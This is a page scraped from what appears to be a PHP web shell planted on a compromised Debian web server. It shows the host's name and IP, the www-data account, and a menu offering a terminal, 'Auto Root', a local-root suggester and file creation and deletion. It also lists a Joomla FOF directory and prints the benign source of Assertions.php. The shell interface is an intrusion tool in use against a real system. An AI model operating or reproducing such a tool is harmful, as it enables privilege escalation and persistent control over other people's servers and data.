Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
fof30 /
Model /
Mixin /
Delete
Unzip
Name
Size
Permission
Date
Action
Assertions.php
2.12
KB
-rwxr-xr-x
2021-02-05 16:00
DateManipulation.php
3.25
KB
-rwxr-xr-x
2021-02-05 16:00
Generators.php
1.98
KB
-rwxr-xr-x
2021-02-05 16:00
ImplodedArrays.php
1.11
KB
-rwxr-xr-x
2021-02-05 16:00
JsonData.php
998
B
-rwxr-xr-x
2021-02-05 16:00
Save
Rename
<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\Mixin; defined('_JEXEC') || die; use Joomla\CMS\Language\Text; use RuntimeException; /** * Trait for check() method assertions */ trait Assertions { /** * Make sure $condition is true or throw a RuntimeException with the $message language string * * @param bool $condition The condition which must be true * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assert($condition, $message) { if (!$condition) { throw new RuntimeException(Text::_($message)); } } /** * Assert that $value is not empty or throw a RuntimeException with the $message language string * * @param mixed $value The value to check * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertNotEmpty($value, $message) { $this->assert(!empty($value), $message); } /** * Assert that $value is set to one of $validValues or throw a RuntimeException with the $message language string * * @param mixed $value The value to check * @param array $validValues An array of valid values for $value * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertInArray($value, array $validValues, $message) { $this->assert(in_array($value, $validValues), $message); } /** * Assert that $value is set to none of $validValues. Otherwise throw a RuntimeException with the $message language * string. * * @param mixed $value The value to check * @param array $validValues An array of invalid values for $value * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertNotInArray($value, array $validValues, $message) { $this->assert(!in_array($value, $validValues, true), $message); } }